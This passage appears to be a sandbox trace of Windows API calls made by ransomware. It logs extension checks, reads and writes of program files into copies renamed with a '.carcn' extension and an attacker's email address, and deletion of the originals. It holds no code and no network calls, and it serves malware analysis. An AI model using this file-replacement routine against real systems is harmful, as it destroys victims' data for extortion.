(lpString=".doc") returned 4 [0297.546] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.546] lstrlenW (lpString=".docx") returned 5 [0297.546] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0297.546] lstrlenW (lpString=".pdf") returned 4 [0297.546] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.546] lstrlenW (lpString=".xls") returned 4 [0297.546] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.546] lstrlenW (lpString=".xlsx") returned 5 [0297.546] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0297.547] lstrlenW (lpString=".ppt") returned 4 [0297.547] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.547] lstrlenW (lpString=".zip") returned 4 [0297.547] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.547] lstrlenW (lpString=".rar") returned 4 [0297.547] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString=".bz2") returned 4 [0297.547] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString=".7z") returned 3 [0297.547] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.547] lstrlenW (lpString=".dbf") returned 4 [0297.547] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.547] lstrlenW (lpString=".1cd") returned 4 [0297.547] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.547] lstrlenW (lpString=".jpg") returned 4 [0297.547] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.547] lstrlenW (lpString=".doc") returned 4 [0297.547] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.547] lstrlenW (lpString=".docx") returned 5 [0297.548] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1 [0297.548] lstrlenW (lpString=".pdf") returned 4 [0297.548] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.548] lstrlenW (lpString=".xls") returned 4 [0297.548] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.548] lstrlenW (lpString=".xlsx") returned 5 [0297.561] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1 [0297.561] lstrlenW (lpString=".ppt") returned 4 [0297.561] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.561] lstrlenW (lpString=".zip") returned 4 [0297.561] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.565] lstrlenW (lpString=".rar") returned 4 [0297.565] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.565] lstrlenW (lpString=".bz2") returned 4 [0297.565] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.565] lstrlenW (lpString=".7z") returned 3 [0297.565] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.565] lstrlenW (lpString=".dbf") returned 4 [0297.565] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.566] lstrlenW (lpString=".1cd") returned 4 [0297.566] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52 [0297.566] lstrlenW (lpString=".jpg") returned 4 [0297.566] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.566] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.566] lstrlenW (lpString="msado25.tlb") returned 11 [0297.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.567] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0297.567] CloseHandle (hObject=0x334) returned 1 [0297.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20 [0297.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0297.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0297.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0297.569] lstrlenW (lpString=".doc") returned 4 [0297.569] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.569] lstrlenW (lpString=".docx") returned 5 [0297.569] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1 [0297.569] lstrlenW (lpString=".pdf") returned 4 [0297.569] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.569] lstrlenW (lpString=".xls") returned 4 [0297.569] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.569] lstrlenW (lpString=".xlsx") returned 5 [0297.569] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1 [0297.569] lstrlenW (lpString=".ppt") returned 4 [0297.569] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0297.569] lstrlenW (lpString=".zip") returned 4 [0297.569] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.569] lstrlenW (lpString=".rar") returned 4 [0297.569] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.569] lstrlenW (lpString=".bz2") returned 4 [0297.569] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.569] lstrlenW (lpString=".7z") returned 3 [0298.132] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0298.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0298.132] lstrlenW (lpString=".dbf") returned 4 [0298.132] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0298.143] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.143] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.143] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0298.144] GetLastError () returned 0x0 [0298.144] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x1c4, lpOverlapped=0x0) returned 1 [0298.145] WriteFile (in: hFile=0x390, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x1d0, lpOverlapped=0x0) returned 1 [0298.146] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.146] WriteFile (in: hFile=0x390, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0298.148] SetEndOfFile (hFile=0x390) returned 1 [0298.148] CloseHandle (hObject=0x390) returned 1 [0298.148] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.148] SetEndOfFile (hFile=0x34c) returned 1 [0298.149] CloseHandle (hObject=0x34c) returned 1 [0298.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0298.149] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0298.150] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.150] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.150] lstrlenW (lpString=".doc") returned 4 [0298.150] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0298.150] lstrlenW (lpString=".docx") returned 5 [0298.150] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0298.150] lstrlenW (lpString=".pdf") returned 4 [0298.150] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0298.150] lstrlenW (lpString=".xls") returned 4 [0298.150] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0298.150] lstrlenW (lpString=".xlsx") returned 5 [0298.150] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0298.150] lstrlenW (lpString=".ppt") returned 4 [0298.150] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0298.150] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.150] lstrlenW (lpString=".zip") returned 4 [0298.150] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0298.150] lstrlenW (lpString=".rar") returned 4 [0298.150] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0298.150] lstrlenW (lpString=".bz2") returned 4 [0298.151] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0298.151] lstrlenW (lpString=".7z") returned 3 [0298.151] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0298.151] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.151] lstrlenW (lpString=".dbf") returned 4 [0298.151] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0298.151] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.151] lstrlenW (lpString=".1cd") returned 4 [0298.151] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0298.151] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.151] lstrlenW (lpString=".jpg") returned 4 [0298.151] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0298.151] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.151] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.151] lstrlenW (lpString=".doc") returned 4 [0298.151] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0298.151] lstrlenW (lpString=".docx") returned 5 [0298.151] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0298.151] lstrlenW (lpString=".pdf") returned 4 [0298.151] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0298.151] lstrlenW (lpString=".xls") returned 4 [0298.151] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0298.151] lstrlenW (lpString=".xlsx") returned 5 [0298.151] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0298.151] lstrlenW (lpString=".ppt") returned 4 [0298.151] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0298.151] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.151] lstrlenW (lpString=".zip") returned 4 [0298.151] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0298.152] lstrlenW (lpString=".rar") returned 4 [0298.152] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0298.152] lstrlenW (lpString=".bz2") returned 4 [0298.152] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0298.152] lstrlenW (lpString=".7z") returned 3 [0298.152] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0298.152] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.152] lstrlenW (lpString=".dbf") returned 4 [0298.152] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0298.152] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.152] lstrlenW (lpString=".1cd") returned 4 [0298.152] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0298.152] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0298.152] lstrlenW (lpString=".jpg") returned 4 [0298.152] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0298.152] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.152] lstrlenW (lpString="sqmapi.dll") returned 10 [0298.152] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0298.153] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=49688) returned 1 [0298.153] CloseHandle (hObject=0x34c) returned 1 [0298.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0298.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.154] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0298.154] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.154] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.154] lstrlenW (lpString=".doc") returned 4 [0298.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.154] lstrlenW (lpString=".docx") returned 5 [0298.154] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0298.154] lstrlenW (lpString=".pdf") returned 4 [0298.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.154] lstrlenW (lpString=".xls") returned 4 [0298.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.154] lstrlenW (lpString=".xlsx") returned 5 [0298.154] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0298.154] lstrlenW (lpString=".ppt") returned 4 [0298.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.154] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.154] lstrlenW (lpString=".zip") returned 4 [0298.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.154] lstrlenW (lpString=".rar") returned 4 [0298.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.154] lstrlenW (lpString=".bz2") returned 4 [0298.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.155] lstrlenW (lpString=".7z") returned 3 [0298.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.155] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.155] lstrlenW (lpString=".dbf") returned 4 [0298.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.155] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.155] lstrlenW (lpString=".1cd") returned 4 [0298.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.155] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.155] lstrlenW (lpString=".jpg") returned 4 [0298.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.155] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.155] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.155] lstrlenW (lpString=".doc") returned 4 [0298.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.155] lstrlenW (lpString=".docx") returned 5 [0298.155] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0298.155] lstrlenW (lpString=".pdf") returned 4 [0298.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.155] lstrlenW (lpString=".xls") returned 4 [0298.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.155] lstrlenW (lpString=".xlsx") returned 5 [0298.155] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0298.155] lstrlenW (lpString=".ppt") returned 4 [0298.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.155] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.155] lstrlenW (lpString=".zip") returned 4 [0298.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.156] lstrlenW (lpString=".rar") returned 4 [0298.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.156] lstrlenW (lpString=".bz2") returned 4 [0298.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.156] lstrlenW (lpString=".7z") returned 3 [0298.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.156] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.156] lstrlenW (lpString=".dbf") returned 4 [0298.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.156] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.156] lstrlenW (lpString=".1cd") returned 4 [0298.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.156] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0298.156] lstrlenW (lpString=".jpg") returned 4 [0298.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.156] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0298.156] lstrlenW (lpString="awt.dll") returned 7 [0298.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0298.157] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1516608) returned 1 [0298.157] CloseHandle (hObject=0x34c) returned 1 [0298.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0298.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0298.157] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.157] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0298.158] GetLastError () returned 0x0 [0298.158] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0298.878] WriteFile (in: hFile=0x390, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0299.406] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x72450, lpOverlapped=0x0) returned 1 [0299.422] WriteFile (in: hFile=0x390, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x72460, lpOverlapped=0x0) returned 1 [0299.432] ReadFile (in: hFile=0x34c, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.432] WriteFile (in: hFile=0x390, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.432] SetEndOfFile (hFile=0x390) returned 1 [0299.432] CloseHandle (hObject=0x390) returned 1 [0299.661] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.661] SetEndOfFile (hFile=0x34c) returned 1 [0299.667] CloseHandle (hObject=0x34c) returned 1 [0299.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0299.667] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0299.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.667] lstrlenW (lpString=".doc") returned 4 [0299.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.668] lstrlenW (lpString=".docx") returned 5 [0299.668] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.668] lstrlenW (lpString=".pdf") returned 4 [0299.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.668] lstrlenW (lpString=".xls") returned 4 [0299.668] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.668] lstrlenW (lpString=".xlsx") returned 5 [0299.668] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.668] lstrlenW (lpString=".ppt") returned 4 [0299.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.668] lstrlenW (lpString=".zip") returned 4 [0299.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.668] lstrlenW (lpString=".rar") returned 4 [0299.668] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.668] lstrlenW (lpString=".bz2") returned 4 [0299.668] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.668] lstrlenW (lpString=".7z") returned 3 [0299.668] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.668] lstrlenW (lpString=".dbf") returned 4 [0299.668] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.669] lstrlenW (lpString=".1cd") returned 4 [0299.669] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.669] lstrlenW (lpString=".jpg") returned 4 [0299.669] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0299.669] lstrlenW (lpString=".doc") returned 4 [0299.669] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.669] lstrlenW (lpString=".docx") returned 5 [0299.669] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0299.669] lstrlenW (lpString=".pdf") returned 4 [0299.669] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.669] lstrlenW (lpString=".xls") returned 4 [0299.669] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.669] lstrlenW (lpString=".xlsx") returned 5 [0299.669] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0299.669] lstrlenW (lpString=".ppt") returned 4 [0299.669] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.669] lstrlenW (lpString="C:\\Program 